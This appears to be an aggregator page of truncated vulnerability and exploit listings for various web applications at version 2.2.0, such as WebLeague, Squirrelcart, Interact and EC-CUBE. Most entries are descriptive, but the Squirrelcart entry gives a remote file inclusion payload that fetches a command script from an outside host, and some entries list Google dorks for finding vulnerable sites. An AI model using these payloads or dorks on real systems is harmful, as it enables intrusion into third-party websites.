WebLeague 2.2.0 - profile.php SQL Injection

WebLeague 2.2.0 - profile.php SQL Injection DESCRIPTION: WebLeague 2.2.0 profile.php Remote SQL Injection DISCOVERED BY: Arka69 BUG: SQL Injection DOWNLOAD: http://www.worms-league.com/WebLeague/WebLeague2.2.0.zip EXPLOIT:...

WebLeague 2.2.0 (profile.php) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ========================================================= WebLeague 2.2.0 profile.php SQL Injection Vulnerability ========================================================= DESCRIPTION: WebLeague 2.2.0 profile.php Remote SQL Injection...

CmsFaethon 2.2.0 (info.php item) SQL Command Injection Exploit

No description provided by source. !/usr/bin/perl |----------------------------------------------------------------------------------------------------------------------------------| | INFORMATIONS |...

CmsFaethon 2.2.0 - 'item' SQL Injection

!/usr/bin/perl |----------------------------------------------------------------------------------------------------------------------------------| | INFORMATIONS | |----------------------------------------------------------------------------------------------------------------------------------|...

JVN#99916563 EC-CUBE cross-site scripting vulnerability

EC-CUBE from LOCKON CO.,LTD. is an open source system for creating shopping websites. EC-CUBE contains a cross-site scripting vulnerability. This vulnerability is different from JVN61543834, JVN26621646, and JVN36085487. Impact An arbitrary script could be executed on the user's web browser...

httpd mod_proxy_balancer cross-site scripting

Cross-site scripting XSS vulnerability in balancer-manager in modproxybalancer in the Apache HTTP Server 2.2.0 through 2.2.6 allows remote attackers to inject arbitrary web script or HTML via the 1 ss, 2 wr, or 3 rr parameters, or 4 the URL...

YNP Portal System 2.2.0 - showpage.cgi p Remote File Disclosure

YNP Portal System 2.2.0 - showpage.cgi p Remote File Disclosure YNP Portal System 2.2.0 showpage.cgi p Remote File Disclosure Vulnerability D0RK : inurl:"showpage.cgi?p=popsearch.html" : inurl:"showpage.cgi?p=support.html" : inurl:"showpage.cgi?p=dialup.html" : inurl:"showpage.cgi?p=" POC:...

Code injection

Unspecified vulnerability in sources/actionpublic/xmlout.php in Invision Power Board IPB or IP.Board 2.2.0 through 2.2.2 allows remote attackers to modify another user's profile data, such as an AIM screen name or Yahoo! identity...

The Merchant 2.2.0 - index.php?show Remote File Inclusion

The Merchant 2.2.0 - index.php?show Remote File Inclusion 2005-2006 The Merchant Project Remote File Include Exploit //'=============================================================================================== //'Script Name: 2005-2006 The Merchant Project //'Coded by : kezzap66345 //'Autho...

CVE-2006-5978

Unspecified vulnerability in E-Xoopport before 2.2.0 has unknown impact and attack vectors, as addressed by "Some security fix."...

CVE-2006-5978

Unspecified vulnerability in E-Xoopport before 2.2.0 has unknown impact and attack vectors, as addressed by "Some security fix."...

cce-interact220.txt

/ + + - - - Romanian Electronic Network Security Lab Team ThE Best Romanian Hacking Team - - + + + - Cce-interact admin/autoprompter.php line 33-38: .... requireonce$CONFIG'BASEPATH'.'/modules/forum/autoprompt/prompt.inc.php'; requireonce$CONFIG'LANGUAGECPATH'.'/forumstrings.inc.php'; $rs =...

POC & exploit for Apache mod_rewrite off-by-one

Public release date of POC/Exploit: 2006-08-20 Author: Jacobo Avariento Gimeno CVE id: CVE-2006-3747 Bugtraq id: 19204 CERT advisory: VU395412 Severity: high Introduction ---- On July 28 2006 Mark Dowd McAfee Avert Labs reported a vulnerability found in modrewrite apache module to the bugtraq...

Interact 2.2 - 'CONFIG[base_path]' Remote File Inclusion

/ + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Cce-interact admin/autoprompter.php line 33-38: .... requireonce$CONFIG'BASEPATH'.'/modules/forum/autoprompt/prompt.inc.php'; requireonce$CONFIG'LANGUAGECPATH'.'/forumstrings.inc.php'; $rs = $CONN-Execute"SELECT $CONFIG'DBPREFIX'posts.postke...

Interact 2.2 - CONFIG[base_path] Remote File Inclusion

Interact 2.2 - CONFIGbasepath Remote File Inclusion / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - Cce-interact admin/autoprompter.php line 33-38: .... requireonce$CONFIG'BASEPATH'.'/modules/forum/autoprompt/prompt.inc.php'; requireonce$CONFIG'LANGUAGECPATH'.'/forumstrings.inc.php'; $rs ...

CVE-2006-2806

CVE-2006-2806: The SMTP server in Apache Java Mail Enterprise Server (Apache James) 2.2.0 is vulnerable to a denial-of-service via a long argument to the MAIL command, consuming CPU. No exploitation or remediation details are provided in the connected documents.

Squirrelcart <= 2.2.0 (cart_content.php) Remote Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================================= Squirrelcart = 2.2.0 cartcontent.php Remote Inclusion Vulnerability ======================================================================= Title : Squirrelcart = 2.2....

Squirrelcart 2.2.0 - 'cart_content.php' Remote File Inclusion

Title : Squirrelcart = 2.2.0 Remote File Inclusion URL : http://www.ldev.com/ google Dork : inurl:/squirrelcart/ Author : OLiBekaS greetz : Skulmatic, weleh, brokencode, bigmaster and all papmahackerlink crew Exploit : /cartcontent.php?cartisproot=http://yourhost/cmd.gif?cmd=ls milw0rm.com...

Openswan 2.2.0 VPN Detection

Binary data 3596.prm...

CVE-2004-2650

The CVE-2004-2650 entry concerns the Apache James spooler. Affected component: James 2.2.0 spooler retrieve function. Root cause: triggering various error conditions in the retrieve function can prevent a lock release, causing a memory leak and resulting in local-denial-of-service impact. The ava...